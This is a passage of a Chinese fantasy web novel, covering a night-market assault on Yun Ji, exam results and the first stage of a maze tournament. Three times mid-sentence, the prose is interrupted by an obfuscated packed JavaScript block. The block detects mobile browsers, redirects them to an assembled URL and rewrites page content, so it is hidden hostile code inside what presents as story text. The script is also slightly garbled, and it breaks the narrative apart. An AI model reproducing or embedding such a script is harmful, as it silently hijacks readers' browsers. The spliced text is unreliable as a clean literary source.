云姬很久未见过这样的场面,在窗口撑着脑袋眼巴巴地向外看。云魁双折抱臂倚靠在她身侧的椅子上,见她这副模样轻笑了一声,伸出手揉了揉她的脑袋:“想看便出去看吧。” 云魁陪着云姬下楼,撞见慕小闲缩在一楼大堂的窗边,带着一丝狡黠打量着过往的行人。她那位仙人之姿的师父,正襟危坐在她身旁喝茶,杯子落在唇边,掩住了一抹浅浅的笑意。 就在云魁望向他们的同时,晏离立刻抬眼看了过来,眼神并不十分锐利,却让人莫名有些紧张。 此情此景,他忽然觉得眼前这两人之间弥漫着一丝说不清、道不明的氛围,但这种感觉从何而来,又欲往何处,他看不明白。 慕小闲注意到他们的身影,站起身向他们挥了挥手,语气中压抑不住的兴奋:“你们要去哪儿?” 街边一些小摊小贩到了傍晚才出摊,卖些小食或是零碎的玩意儿,当然也有越仙谷特产的宝珠饰物。三人挤入拥挤的人潮中,好奇地东瞅瞅西看看,颇像是没见过世面的样子。 云姬在一个饰品摊边停下,拿起一只朴素的玉石簪子,对着街头微弱的光亮观赏,爱不释手。慕小闲站在她身后,一边护着她不被拥挤的人群推搡,一边眼神乱瞟,说是在看街边的小玩意儿,倒不如说是在观察街上三三两两的人群。 云魁站在一旁,看着鬼鬼祟祟的慕小闲欲言又止。 慕小闲察觉到了他的目光,低声问:“怎么了?” 云魁沉默了须臾,目光渐渐飘向远处人群,若有所思道:“你那位师父......看上去好冷淡,他待你如何?” 慕小闲知道云魁定是担心她受冷待,慌忙冲他摆摆手:“不,他虽然看上去冷淡,但对我很好。” 云魁还有疑虑,但是听慕小闲说的那样笃定,便知她是全然相信这位师父,既然她觉得是那便是。他点点头说道:“那就好。” 长街上光影交错,墙壁上流动的人影如同潮起潮落。 半晌,云魁问:“你们来越仙谷并不是来观赛,而是有别的事情,对吧。” 慕小闲没想骗他,说:“我不想瞒你,但是这件事情太危险了,我不能说。” 云魁才从天庭水深火热中逃脱出来,哪能不知道这世上有些事情不能问不该问。 “我知道。你自己小心些,如果需要我和云姬帮忙,尽管说。” 慕小闲抬了抬眉,露出一个轻松的笑容:“有你这句话就够了。不过我这些年也修炼了不少仙术,不是当年什么也不会的慕小闲了。我能应付得来,不要小看我。武凌现在什么样?符鸣这些年对他好吗?” 提到武凌,云魁不自觉带了一丝笑意,语气也轻松了不少:“你知道的,他一向很崇拜符鸣上神,能当上符鸣上神的弟子,在符鸣上神座下得到真传,他极是开心。他很珍惜来之不易的机会,每日都是最早到符鸣上神大殿的弟子,也是最晚离开的。日日都用功修炼,进步得非常快,现在符鸣上神出任务有时都会带上他。” 慕小闲挑挑眉,武凌喜欢,她也管不着。她小声嘀咕道:“最好是能将符鸣的仙术都学来,然后取而代之,看他还怎么嚣张。” 云魁赶紧捂住慕小闲的嘴,然后四下看了看,低头小声说:“这可不能乱说。虽然这里是青丘,但也难免会有外人,那位上神因为出身不好,不喜欢被人议论,还是小心为妙。” 慕小闲满不在乎地耸耸肩:“如果不是他,我也不会落入北溟海极。他早就知道我看不惯他,就算传入了他的耳朵,我也不怕。” 云魁笑着摇摇头,仿佛拿她没有办法。 云魁转头看向摊位,适才云姬待的位置挤着几位窈窕少女,却没有云姬的身影。 “云姬?” 云姬一人从摊位转身,一时间乌泱泱的人群望不到头,哪里还有哥哥和慕小闲的身影。她被拥挤的人群推着向前走了几步,挤到了街边的角落里,忽然感觉一只温热的手抚上了她的腰侧,她脑子猛地一片空白,倒吸了口气,颤声道:“你在做什么?” 身后一人高出她不少,在她的头顶拢下了一片阴影,将她置于黑暗之中。他当即伸手想要捂住她的嘴巴,将她向后拖,沉声喝道:“别出声,不然我杀了你。” 云姬看似柔弱,但经历过北溟海极的锻炼之后,也不是好欺负的人。她挣扎道:“放开我!我叫人了!” “你叫,你看谁会来救你!” 周遭人潮涌动,不知为何大家却像没有看见、听见一样,纷纷背过身将目光挪向了别处,好似这样做就真的能够置身事外一般。 云姬又惊又怕,使出全身力气对他拳打脚踢。 忽然一记闷哼,对方放开了她。 云姬被人拉到身后。 对面的男人身着一身招摇的华服,五官平平无奇,但凑在一张脸上,像是各有心思一般充满了违和感。他受了当头棒喝,回头愤然嚷嚷道:“是谁?谁敢打老子?” 街角一个高大的身影站在黑暗之中,扛着一根粗壮的木根,向他走来。 那人退了半步,骂道:“别多管闲事。” 人影从黑暗之中走出,竟然是个梳着一条长辫、身姿高大的女子。她犀利的目光牢牢盯着那人,像一把锋利的刃扎在他的身上。她在肩头颠了颠那根粗壮的木棍,沉甸甸的木头在她手中好似轻如鸿毛,灵活自如。 女子长相不算多么出色,但身上有一股泰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137824|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山般厚重的气势,眉宇之间坚定如磐石。她睨了那人一眼,沉声道:“这条街都是我的,我就管怎么了?” 忽然长棍一挥,一阵凌风刮过,木棍的一端指向那人的咽喉:“还不快滚。小心我砸烂你的手。” “你......" 女子的棍子突然重重砸在地上,尘土飞扬,地上被砸出了一个深坑。那棍子恐怕有上百斤,若是刚才她使出全力,男人的脑袋早就被砸成了浆糊。 男人眼神一变退后几步,咬牙“切”了一声,狠狠剜了云姬一眼,甩甩袖子,装作若无其事地钻进人群之中。 “没事吧?”女子回头看向云姬,云姬娇小的身影在她身旁显得像一只小鸡。 云姬惊魂未定地点点头,遥遥越过她看到人群中挤过来的熟悉的身影,叫道:“哥哥!” 云魁穿过人群,只一眼就发现云姬状态不对,警惕地看了一眼她身旁的女子,走上前将云姬护在身后,忍着怒气道:“你想做什么?” 女子英气十足,一只木棍立在地上,毫不掩饰地打量着云魁。 慕小闲晚到一步,嗅到空气中一丝诡异的氛围,问道:“怎么了?” 女子看到慕小闲匆匆赶来时,眼中闪过一丝不悦,下意识认为云魁是和其他女人厮混,所以将妹妹弄丢了。 她眉头紧皱抬起下巴,问道:“你是她哥哥?” 云魁就要上前,衣角被云姬捏住,回头看她轻轻摇了摇头。 云魁读懂了她眼中的意思,态度稍稍缓和了些,问道:“你是?” 女子没有回答他,而是质问道:“你妹妹受欺负的时候你在哪里?”语气中明显有指责之意。 云魁紧张地上上下下将云姬打量了一圈,又紧紧盯着她的眼睛,生怕从她眼中看出异样。 云姬慌忙掩饰说:“我没事。真的没事。”她扯着云魁的袖子对那女子说:“不关哥哥的事,是我不小心走远了。” 女子的脸色霎时冷了下来,依旧狠狠瞪着云魁道:“呵,原来是我多管闲事。”然后轻轻一勾,拎起巨大的木棍往肩上一抗,沿着街边头也不回地走了。 “哥哥......"云姬将望着女子背影出神的云魁叫醒。云魁回头摸了摸她的脑袋,蹙眉道:“刚才到底发生什么了?” 人群依旧川流不息。 街边角落,云魁眼中风暴交加,攥拳道:“你可记得那人长什么样子?” 云姬回忆道:“他大概这么高,穿得不错,方脸,颧骨很高。其他我都没看清。” 慕小闲思忖道:“刚才那名女子好像是越仙谷的人,那个男人应当是从外头来的参赛者或者观赛者,说不定这几日还能遇见他。” 云姬拉了拉云魁的袖子,低声宽慰,欲息事宁人:“我没事,事情都过去了,不用找他了。” 慕小闲摇了摇头:“他做这种龌龊事一定不是第一次了,要让他给你道歉,长个记性。” 第二日午时,书音阁门口的布告栏前挤满了人头。 不论是来参赛的选手,亦或是来看热闹的群众,都削尖了脑袋往前凑。 几人腾空而起,占领了高空的绝佳位置。后排的人被挡得严严实实,只能飞得更高,一层一层叠加上去。蹲守前排的人感觉空气越来越沉闷,一回头,就见城墙一般的人头一个接一个盯着自己,差点没厥过去。 “诶,快快快看!出来了!” 原本一片空白的布告栏上,渐渐浮现一个又一个名字。 越仙大赛笔试通过名单: 第一名 越棠棠 ...... 第三名 云姬 ...... ...... ...... 第十五 云魁 ...... ...... 人群骚动起来,欢呼声叫骂声混杂在一起。 “哈哈哈我进了!” “不错啊,你多少名?” "哈哈哈哈我二十七,差一点就要回家了。” “什么小爷我居然落榜了?不可能!一定有黑幕!” “唉,白跑一趟,早知道不来了。” “该死!居然让那个女人拿了第一......” 云魁拉着云姬从拥挤的人群中挤出来,一眼就看到不远处的树下等候的慕小闲与晏离。 慕小闲朝他们挥挥手,喊道:“怎么样?” 云魁边走边点点头,脸上喜形于色:“云姬考了第三,我考了十五,都进了决赛。” 云姬跟在云魁身后腼腆地笑了一下。 没想到云姬居然是个考试型人才,慕小闲对她刮目相看:“不错不错,走,我们去酒楼庆祝庆祝。” 161. 第 161 章 几家欢喜几家愁,酒楼今日冷清了不少。 店家端上了几碟越仙寨的特色菜——越仙烧鸡,香酥越仙鱼,凉拌越仙草,和每人一杯越仙谷特色茶饮仙露茗茗。 越仙烧鸡泛着金黄的光泽,肚子里塞着几味药材,肉嫩香甜,唇齿留香。 “呜呜呜,早知道这里有这么好吃的东西,我就早点来了。”这一口销魂滋味让慕小闲突然感到自己前几年吃的东西都是只为了生存,不叫品味美食,顶多算果腹罢了。 仙露茗茗带着一丝清凉的薄荷气息,沁人心脾,让人浑身舒爽。 “这个好像我升天之前喝的那些冰冰甜甜的茶饮。”慕小闲简直感动到要落泪,没想到有生之年还能喝到这么好喝的东西,她都忍不住想自掏腰包赞助这家店,只可惜她根本没有钱。 云魁、云姬傻眼了,看晏离的目光多了些耐人寻味的东西。 “咳咳。”云魁看了眼晏离,旁敲侧击地问:“小闲平日里生活得很艰苦吗?” 不问还好,慕小闲听了这话,心里一股酸涩之意泛滥,她这几年确实过的太糙了。 慕小闲眼中瞬间蒙上了一层水雾,哽咽道:“天可怜见,你们都不知道我这些年都是怎么过的。我每天起早贪黑,风雨无阻地打扫修炼,吃面窝窝喝凉水,已经好久没有吃过肉了......" 云魁、云姬被她的情绪感染,拧眉露出了心疼的神情,看晏离的目光多了些不满。没想到慕小闲这些年过的这样艰难,她这师父看起来人模人样,怎么能这样对她? 慕小闲演得起劲儿,忽然觉得一束冷淡的目光落在她身上,那目光来自谁根本不用多想,因为她已经条件反射般开始狡辩了:“不过没有关系,人总要学会长大,不能被口腹之欲绑架。虽然我没有眼前的锦衣玉食,但我还有修炼和远方!” 说完,又撕了一片鸡肉衔入口中,满足地大口咀嚼。 云魁已然动了气,抱起双臂,狠狠地瞪向晏离:“吃只鸡也没什么吧?” 云姬也蹙起眉:“就是!” 他们僵持在桌上,无人与慕小闲抢吃的,她又撕下一只鸡腿,美滋滋地啃起来。余光中一只白皙纤长的手突然伸过来,轻轻抹掉了她唇角晶亮的油渍。 慕小闲一愣,一丝熟悉的清香让她瞳孔微张,隐约听到耳边传来低沉的声音:“我何时不准你吃鸡?” 云魁、云姬睁大了眼睛不敢呼吸。他们也是见过大场面的人,但委实搞不明白这是什么情况? “啊哈哈哈哈……”慕小闲又换了副面孔,冲晏离眨眨眼睛,亲昵地说:“别这样,人家看着呢。” 成功逼退了忽然靠近的晏离。 云魁、云姬算是看出来了,慕小闲刚才是在做戏,但是他们两人之间的氛围怎么看也不像是师徒啊? 越仙大赛在深谷中一片幽密的丛林举行,丛林与山地天然形成了层层叠嶂,构建了一块形似迷宫的区域。 二十八位参赛者,以抽签的方式分散在赛场东、南、西、北,四个入口。赛场会根据参赛者自身的特质产生不同的场景和考验。 赛程分为三段,第一段四个小组互不交叉,只要能在规定时间内到达第一赛程终点就算完成。 第一赛段留下的选手在第二赛段汇合,在规定时间达到第二赛程终点者,获得进入第三赛段资格。 第三赛段规则如前一个赛段,第一个抵达越仙台拿到转念宝珠的人,就是本次比赛的最终胜利者。 这仔细一看空无一物的规则,委实让人对比赛将会发生的事情既兴奋又紧张。各个选手在入口处摩拳擦掌,做足了准备,只等一声令响,抢占先机。 云魁、云姬分别在北、东两个入口。 比赛开始前云魁因不放心云姬,留在东入口前迟迟未走,云姬催促道:“哥哥我可以的,你要相信我。” 云魁还是不放心,叮嘱道:“若是有事就弃权,一场比赛没什么大不了。过了第一赛段,我们就能汇合。” 云姬将云魁推开:“知道了,我会保护好自己的。” 慕小闲与晏离在观战台寻了一处角落坐下。比赛还未开始,看台上坐满了人。 越仙谷地处偏僻,此次比赛吸引的多数是外地人,他们的衣着打扮与本地人明显不同。慕小闲的目光在人群中扫视,在他们身上没有察觉到明显的魔气。 “好热,呼呼。”不知是哪家的少爷还带了几名家眷,在他身边鞍前马后地扇风、递水。 面前用仙术凝成的一席巨大的幕布上,划分成了四个部分,分别对应着赛场四个入口。画面中,选手都已到齐。 云魁跃入北入口的画面,他从天而降,落在入口几米外,刚抬腿向前走了一步就忽然停下,目光转向别处。 他在看什么? 慕小闲顺着他侧头的方向看去,画面边界有一个模糊的身影。 是谁? 看不见! “画面可以放大吗?”慕小闲叫道。 人群中不知是谁吆喝了一声:“终极放大版全屏投射贰拾仙币一场,可以选择观测视角,先得先享受!”寻声望去,却见观战台旁有一栋三层小楼,一位小侍打扮的人恭恭敬敬地守在门口,一脸标准的笑容:“里面凉快,还有有舒适的座椅和茶水,恭迎各位看官前来。” 人群一听炸开了锅。 “贰拾仙币一场?居然还要收费?” “三场不就是陆拾仙币?这么贵?联播有优惠吗?” “不看了,就小窗口挺好的。” “这么一说,外面确实又挤又热。” “等有傻子交钱进去了就没那么挤了。” “看,那位大少爷进去了,还带了几名家眷。” “一二三四五,五个人全进去了。啧啧啧,真有钱呐。” 而后,又陆陆续续地走进去几人。 画面上,云魁好似和对方在说些什么,慕小闲伸长了脑袋,蹙着眉头想要听清,但是声音被人群的讨论声掩盖。 身旁的白衣忽然站起身,对她说:“我们进小楼里看。” 慕小闲:?我的师父不可能这么有钱? 群众又议论纷纷。 “看,又有人进去了。” “没想到这次比赛来了这么多有钱人,越仙寨赚大了。” 走进小楼,里面的侍者将慕小闲与晏离入了一个房间,房里有一张柔软的榻,对面是一张薄的近乎透明的屏幕。 侍者一挥手,屏幕上浮现一块一块斑斓的色彩,渐渐连成一片,出现了四个入口处的画面。 “请问客人有想重点看的区域吗?” 慕小闲指了指:“北边和东边。” “请稍等。”侍者又一挥手,屏幕中其余两块缩小成了巴掌大的区域,悬在一边,而北入口与东入口的画面各占据了半面墙。 慕小闲拍手称赞:“高科技啊。” “那就不打扰两位了,如果还需要其他服务,可以随时叫我们。只需要对着屏幕说召唤小侍,我们就会立刻过来。”侍者恭恭敬敬地退出房间。 北入口画面中,云魁余光瞥见一个眼熟的人影,他定睛一看,居然是昨晚那个替云姬出头的女人。她与云魁的个头差不多,身着一身劲装,头发高束,看上去英姿飒爽。 她是参赛者? 昨晚没有搞清楚情况,她帮了云姬却被误会,自己应当跟她陪个不是。 还未等云魁靠近,那女人回头看了一眼云魁,眼中划过一丝了然:“你也是参赛者?” 云魁点点头,露出了一个带着歉意的微笑:“我叫云魁。昨晚真是抱歉,我应该跟你说一声谢谢,谢谢你昨晚仗义出手救了我妹妹云姬。” 她挑了下眉,似乎认可了云魁的说法,说道:“越棠棠。” 云魁面露诧异,原来她就是笔试第一的越棠棠。昨日见她轻而易举地举起粗壮的木棍,看来体能与仙术也是不差的。 越棠棠四下望了一圈,问:“你妹妹没有同你一起?” 云魁点了下头,答道:“她被分到了东入口。” 越棠棠若有所思地喃喃道:“东入口......" "怎么了?” “没什么。比赛快开始了,我们走吧。” 其余的五位选手暗中观察着其他人,见他们向入口走去,也聚集过来。 一位爽朗的少年冲云魁伸出手:“你好我叫风宿,笔试第六。你们呢?”云魁和他握了手,寒暄了几句,引得其他几位也开始介绍自己。 “我是玉荣仙者,家里有亲戚是天庭人士,笔试第十三。”一个梳着两条细长麻花辫、身着彩云霓裳的女子说,看上去有几分与青丘不相符的仙气。 一位明显比大家年长的男子,穿着长袍马褂,脖子上挂着一长串念珠。他背着手说:“大家都称呼我一声长惠尊者,笔试我只考了半程,第二十一。”大家对他说只考了半程的真实性不甚在意,笔试前二十八都有决赛资格,进入决赛之后一切清零,看的就是硬本事。 还有两位排名在二十之后的,不愿意透露自己的排名,一位叫梦谭,一位叫阿瓀。 “那位女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137825|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是越棠棠?”慕小闲有些诧异,顿时对越棠棠多了几分好感,可能这就是一种学霸滤镜。“能文能武奇女子,没想到越仙谷有这样的民间高手。” 幕布中传来一声:“越仙大赛即将开始,请各位参赛者就位。” “现在宣读第一赛段详细比赛规则。此次比赛第一赛段分为四个部分,分别为东西南北。第一赛段限时两个时辰,请注意在规定时间内通过赛程内的关卡,到达第一赛段终点则算通过。” “北入口第一赛段的主题——” 屏幕中参赛者个个聚精会神,等待考试发卷。 “无路胜有路!” 无路胜有路?参赛者们暗自思索这句话的意思。 “各就位,比赛——正式开始——” 一声令下,原本参赛者所在的位置突然凭空消失了几个人影,只留下扬起的尘土,模糊了视线。待烟尘散去,消失的三位是风宿、长惠尊者和梦谭。不用说,他们一定是抢先一步进入了赛场。 云魁不知道这几位用了什么办法,现在到了哪里,但场外的观众可是看得清清楚楚。 长惠尊者降落在山林之中,仰起头望向四周茂密的丛林,眼中露出一丝了然。他低头将脖子上的念珠取下,一圈一圈缠绕在手上,做了一个合掌印,嘴里念念有词。忽然眼前结了一道金印,向上空飞去。 无路胜有路,那便不走寻常路! 金印越飞越高,忽然一声脆响,像是触碰到了什么,消散在天空之中。 长惠尊者皱起眉头,天上有结界? 忽然一道声音在他身旁响起:“破坏比赛场地,触发隐藏比赛规则第一条,退回原点,罚站一炷香。” 云魁、越棠棠、玉荣仙者刚走出去几步,就听到身后慢慢吞吞的阿瓀打了个喷嚏。 他们回头一看,那个娇小的身影旁,不知何时多了一位站的直挺挺的长惠尊者。 一片树叶被风卷起,落在长惠尊者的脚边。 众人的脑袋上缓缓升起一个问号。 …… 你不是走了吗? “他好像动不了,也说不了话。”阿瓀戳了戳长惠尊长的胳膊。 “应该是碰到了机关,被罚回了原地。这就是为何比赛要在规定时间内抵达赛程终点。”本地人越棠棠听说过赛场上有很多奇奇怪怪的隐藏规定,向众人解释道:“过会儿他应该就能动了。” “场地有限高,不要轻易起飞。往这边走,这边有路。”几人沿着小路走远,留下长惠尊者一人在入口处吹凉风。 远远传来阿瓀的声音:“要是风宿和梦谭也被罚回来就好了。” 山林之中静悄悄,微风抚动,小草轻柔地摇曳。 忽然草地凹陷下去一块巴掌大的地方,接着第二块,第三块...... 空气中传来窸窸窣窣的声音...... 日头悬在上空,一个身影飞鸿展翅般从上空划过。 忽然草丛中跃起一道黑影,与他在空中一触即弹开。 两道人影落在草丛中,一道是风宿,另一道是梦谭。 风宿抱起双臂看向挑衅的梦谭:“阁下有何贵干?” 梦谭阴沉着脸没有说话,双手似锋利的爪牙一般向他抓来。 风宿拧眉:“喂喂喂,比赛规则是抵达第一赛段终点的人都算通过,你没有必要阻拦我。” 梦谭没有听他说话,又是一爪攻过来,抓破了风宿的袖口。 风宿连跳三下,立在一巨石上,居高临下望着他,眨了眨眼睛。 好像有哪里不对? 按比赛规则,只要求在规定时间内到达,人数没有限制,选手之间不存在竞争关系。就算现在只剩下他一人,也需要通过第二、三赛段,才能抵达越仙台。选手之间要竞争应该是第三赛段之后的事情,他怎么会在一开始就攻击自己? 他之前和梦谭有过恩怨吗? 不对,他之前没有见过这个人。 风宿逃过梦谭的利爪攻击,飞身上树,望着空无一人的丛林缓缓吐息。 啊,他明白了。 一定是越仙大赛举办方挑选了几名下属,要在比赛之中想方设法拖住选手,增加比赛的观赏性。他现在是北入口的第一名,所以梦谭的目标是自己。 原来是因为他太优秀了,所以对方才会着急出手。 风宿想明白之后,撩了下额前的碎发,感叹道:“唉,真是没办法。既然被选中了,那我就陪你玩一玩。” 他的眼神一凌,纵身与空中的人影缠斗在一起。 162. 第 162 章 不多时,旁边的小道传来:“哇!打得好激烈啊!”路过的阿瓀拍了拍手,睁大眼睛露出惊讶的神情。 “走了,快跟上。我们没有时间管别人。”越棠棠看也没看身旁的混战,径直沿着小路向前走去。 一行四人从旁边路过,皆没有理会被绊住的风宿。 风宿眼睁睁看着他们走远,眼中透出焦躁之意,用眼神向梦谭示意:你快看啊,有人超过我了,我不是第一了! 梦谭依旧紧紧锁着他,仿佛眼中只有他一人。 风宿欲哭无泪:要不要这么专一...... 梦谭猛一发力,指尖一道寒光从风宿眼前划过。风宿立即向后跳出三步之远,躲过了这一击。那道寒光如一锋利的箭矢,从风宿身后的大树直穿而过,穿孔四周很快染上了一层焦黑色。 搞什么?比赛还没有到要拼个你死我活的地步吧? 风宿沉下眼色:“不陪你玩了。”正要抬手攻击,梦谭忽然转身一步、两步离开了战场。 怎么走了? 风宿面前,隐隐约约出现了一条红线。 一个声音在风宿身边赫然响起:“选手出界,触发隐藏比赛规则第二条,退回原点,罚站一炷香。” 风宿:??? 云魁一行人沿着蜿蜒小径走下去,时间不知不觉过半,几人走到了一处分岔路口。 路口竖着一个指示牌,上面简短地写着:两条路将会引向不同方向,每条道路通过人数有限,一旦踏上其中一条路,将会自动丧失其余选择权。请慎重选择。 第一赛段的主题是无路胜有路,可见这个分岔路口有重要作用。 左边那条路与他们刚才走过的小路相似,虽然一眼望不到头,但是路途平坦,道旁只有几棵稀松的大树。右路隐入密集的丛林,连片的树木如同天然屏障,视野受限,看不出前路引向何方。 面对这样两条路,一般人都会下意识选择左边,因为那条路熟悉、安稳。但是在比赛中,所见未必是真,若是选错不知会被引向哪里,不知会耗费多长时间。每条路选择的人数有限,若是被人抢先,就没有选择机会了。 玉荣仙者眼波流转,面露迟疑,目光在两个条小路之间逡巡。这次的规则是在规定时间内到达指定地点,右路一看就另有玄机,可能会遇上意外耗费时间,或许选择左边才是上策。她虽然心里有所定夺,但并未表现出来,而是用余光暗暗观察着其余几人的神色。 阿瓀左看看右瞧瞧,抬头问:“棠棠姐,你想选哪条?” 越棠棠昂首挺胸走在几人的前面,眼神中透出一股睿智和坚定,让人不由地想要依赖她。她蹙起眉仔细分辨着两条小路的区别,但场上信息太少,她也没有把握一定能选对。 就在她聚精会神之时,身后一股力量突然将她往前推了一把,她没有防备,一个踉跄踏上了右边的小路。 指示牌上浮现一行小字:右路已选定壹人。 越棠棠退无可退,回头冷冷地看了一眼身后的玉荣仙者。玉荣仙者目光怔怔,眼中立刻浮现了慌乱和委屈,眉宇间尽是焦急,声音也软了下来:“对不起,我想看得远一点,所以身体向前倾了一下,一时没有注意。我不是故意的,这......这怎么办?还可以退回来重选吗?” 生存游戏中任何一步都有可能前功尽弃,替人做决定,剥夺选择权,无异于是将人推向火坑。 玉荣仙者在云魁和阿瓀眼中的观感迅速变差,两人丝毫不将她浮夸的表演放在眼里,反而眼神中多了几分不屑。 玉荣仙者发觉他们目光不善,一双柔媚的眸子蒙上了一层水雾,语气中带着深深的懊悔:“我真的不是故意的,我也没想到会这样。这可怎么办?” 云魁不懂风情,无视了她的说辞,一脚踏上了右路,转身抱起双臂冷眼看她。 玉荣仙者目光闪烁,不明白他为什么要选右边。就在她感到困惑的瞬间,指示牌突然响起:“右路人数达到上限,右路封闭。余下参赛者自动选择左路。” 不知何时,阿瓀也踏上了右路。模样比他们年少的阿瓀,此时一脸玩味地看着玉荣仙者,冲她摆摆手:“姐姐,我们先走了。祝你好运。” 玉荣仙者脸上闪过一丝错愕,飞快地眨了眨眼睛,状似愧疚地点了点头:“啊,那也没办法了。”在几人转身后,脸色迅速沉了下来。 越棠棠是越仙寨的人,又是笔试第一名,若是进入接下来的比赛,必定会是一位强敌。若是能让她在这里多费些时间,那是再好不过,最好能让她直接出局免除后患。 可是为何他们都选择了右路? 难道她判断有误?不,他们想陪越棠棠,就让他们一起出局吧! 想到这里,玉荣仙者抬头向天空露出了一个温柔的笑容,步履轻快地向左路走去,毕竟场外还有那么多人看着呢。 不多时,梦谭落在了分岔路口,只一瞬就向左边飞去。 小路引入深林,渐渐便没了路。深林之中,高大茂密的树层层叠叠遮蔽了视野,四周景物不能说一模一样,但稍不留神就会迷失方向,云魁一行兜兜转转似乎一直在原地打圈儿。 时间就像沙漏中的细沙,有条不紊地从间隙流过。 越棠棠抱着双臂倚靠在树干上,目光灼灼地观察着四周,不知道在想什么,神情非常认真。阿瓀也不着急,爬上树翘着二郎腿躺在树枝上,眼睛盖着两片叶子,竟然在小憩。 云魁四处转了一圈,眉头越来越紧,步子也越来越沉重。 “周围没有可以辨认的东西。”别说是终点,就连他们刚才来时的路也找不到了。仿佛从他们深入林中的那一刻起,这片深林就移形换影,变成了一座庞大的迷宫。 越棠棠侧头板着一张脸看他:“为什么跟我来?” 云魁未加思索:“既然第一赛段比的是时间,那么两条路应当都能通向终点。” 越棠棠“嗯”了一声,用眼神示意他接着说。 “比赛不确定因素除了赛道,还有参赛选手。右路虽然看似凶险,但我们的目标暂且一致,所以不会产生冲突浪费时间。但是其余的四人,玉荣仙者、梦谭、风宿、长惠尊者都不是省油的灯。” 越棠棠嘴边露出一抹笑意:“你是说,他们之间会打起来?” 云魁犹豫了一下,点点头:“梦谭与风宿不知有什么矛盾,一进比赛场地就忍不住开战。他们之间的实力不相上下,一时分不出胜负,所以不会一直在原地纠缠,但在接下来的过程中难免会产生新的冲突。长惠尊者已落后一步,左路仅有两个名额,他未必能赶到。至于玉荣仙者......以她的性子,就算没有矛盾,遇上了也会有一番纠缠。” 越棠棠似乎认可了他的话,抬头向上喊道:“你呢?” 阿瓀姿势未变,懒洋洋地说:“我就是想跟你们来,不想和那个虚伪的家伙一起。” 时间一分一秒流尽,几人在深林之中毫无头绪。 越棠棠放下手,往前走了几步:“既然是这样,我们不如赌一把?” 她看上去镇定自若,仿佛心中已有对策。云魁不由地沉下心,问:“赌什么?” 越棠棠望着前方眼神坚定而从容:“路是靠人走出来的,没有路也就意味着目及之处尽是出路。” 此时一阵清风乍起,地上落叶如流水退去,发出哗哗声响。她高束的长发在身后扬起,身姿挺拔巍然不动,如一棵松柏顽强坚韧。 云魁看着她,一丝难以言喻的感觉在心中油然而生,他喃喃道:“无路胜有路。” “没错。云魁刚才提醒我了一点,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153282|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比赛并未限制通关人数,决定能否进入下一关的关键因素是时间。这片树林是想拖住我们,让我们无法在指定时间内到达第一赛段重点。路在心中,不在脚下。当我们停下来时眼前有路也是无路,只要我们坚持走下去,前方一定会有出路。” 阿瓀摘下眼睛上的两片叶子,坐起身问:“你的意思是,我们可以往任何方向走?” 云魁望着眼前的密林,忽然感到心中开阔,坚定了目光:“原来如此。只要循着一个方向走,便能走出这片树林。” 阿瓀从树上一跃而下:“早说啊,我等到了终点再睡。”语气轻快随意,好像丝毫没有体会到比赛的紧张感。 一行人带着猜测,循着一个方向径直走去。不多时眼前遮掩的树林像是打开屏障,渐渐向两侧褪去,露出一块宽敞平坦的地面。他们踏上平地,身后的树林消失,面前出现了一道拱门,门上漂浮着一个红漆“北”字。 穿过拱门的瞬间,平台响起一声:“北入口抵达三人。” 不一会儿,平台又响起:“西入口抵达两人。” “南入口抵达两人。” 西门与南门之下分别恍然出现两个人影,和他们到达的时间相差无几。 西门与南门的参赛者一抵达平台,就像泄了气的皮球,倒在地上大口喘息,动也不想动。 “你们抽到的题是什么?我们是无心胜有心,要放空自己不能有一丝杂念,可难死我了。” “我们是无声胜有胜有声,不能发出一丁点声音。” 一共只有七位到达了第一赛段终点。 云魁并未松一口气,忧心忡忡地看向东边。 东边怎么一位选手都没有? 越棠棠留意到他的神情:“你在担心你妹妹?” 这么大的人了还一直惦记妹妹,说起来有些不好意思。云魁点点头:“她性子软,自幼一直跟在我身边。我有时也在想会不会是我管束的太多,她才会这么依赖我。” 越棠棠不知道想到了什么,目光黯了一下,说:“我小时候也多受人照顾,深知能有人管束是件好事。” “东边难道没有人出来?这可太稀奇了。”西门某参赛者说。 “不应该啊,我有个朋友在东入口,他看上去不弱。” 还有三分钟。 云魁身后突然一道金光亮起,梦谭冷沉着脸从北门走出来。随后,一个熟悉的声音响起:“啊,终于赶上了。”风宿笑嘻嘻地走出来,狠狠瞪了梦谭一眼,然后对云魁与越棠棠说:“你们什么时候到的?” 平台上响起:“北入口抵达五人。” 还会有人来吗? 云魁看了一眼北门,风宿冲他摆摆手:“不会有人来了,分岔路口两边都只有三个名额,我到的时候左边已经有两人,我是第三人。若是现在还没到,应该就不会来了。” 